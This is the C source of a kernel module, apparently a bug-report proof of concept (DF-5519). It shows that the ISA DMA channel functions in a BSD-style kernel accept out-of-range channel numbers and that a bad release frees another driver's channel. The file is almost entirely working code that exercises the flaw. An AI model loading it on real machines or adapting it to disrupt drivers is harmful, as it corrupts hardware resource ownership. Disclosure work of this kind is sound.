/*
 * DF-5519 PoC part 1 (non-fatal) — sys/bus/isa/x86_64/isa_dma.c
 *
 * Proves on the production kernel (X86_64_GENERIC, no DIAGNOSTIC):
 *  [1] isa_dma_acquire(34): `1 << 34` wraps onto bit 2 (channel 2) --
 *      the channel-bitmask math in isa_dma.c aliases unrelated channels.
 *  [2] isa_dma_release(34) CLEARS channel 2's inuse bit -- a bogus
 *      channel number frees a real driver's channel.
 *  [3] isa_dma_acquire(9): channel >= 8 is silently accepted (the
 *      "channel out of range" panic at isa_dma.c:140-143 is
 *      #ifdef DIAGNOSTIC-only and is compiled out).
 *
 * Build: see build.sh    Run: kldload as root (see run.sh)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/bus.h>
#include <bus/isa/isavar.h>

static int
df5519_modevent(module_t mod, int type, void *arg)
{
	int rc;

	switch (type) {
	case MOD_LOAD:
		rc = isa_dma_acquire(2);
		kprintf("df5519: [1] isa_dma_acquire(2)  = %d (expect 0)\n", rc);

		rc = isa_dma_acquire(34);
		kprintf("df5519: [1] isa_dma_acquire(34) = %d (expect 16=EBUSY: 1<<34 wrapped onto bit 2)\n", rc);

		isa_dma_release(34);
		rc = isa_dma_acquire(2);
		kprintf("df5519: [2] after isa_dma_release(34): isa_dma_acquire(2) = %d (expect 0: release(34) cleared bit 2)\n", rc);
		isa_dma_release(2);

		rc = isa_dma_acquire(9);
		kprintf("df5519: [3] isa_dma_acquire(9)  = %d (expect 0: invalid chan accepted, no DIAGNOSTIC panic)\n", rc);
		isa_dma_release(9);

		kprintf("df5519: PROVEN: chan validation compiled out in production; 1<<chan wraps for chan>=32\n");
		return (0);
	default:
		return (0);
	}
}

static moduledata_t df5519_mod = { "df5519", df5519_modevent, NULL };
DECLARE_MODULE(df5519, df5519_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
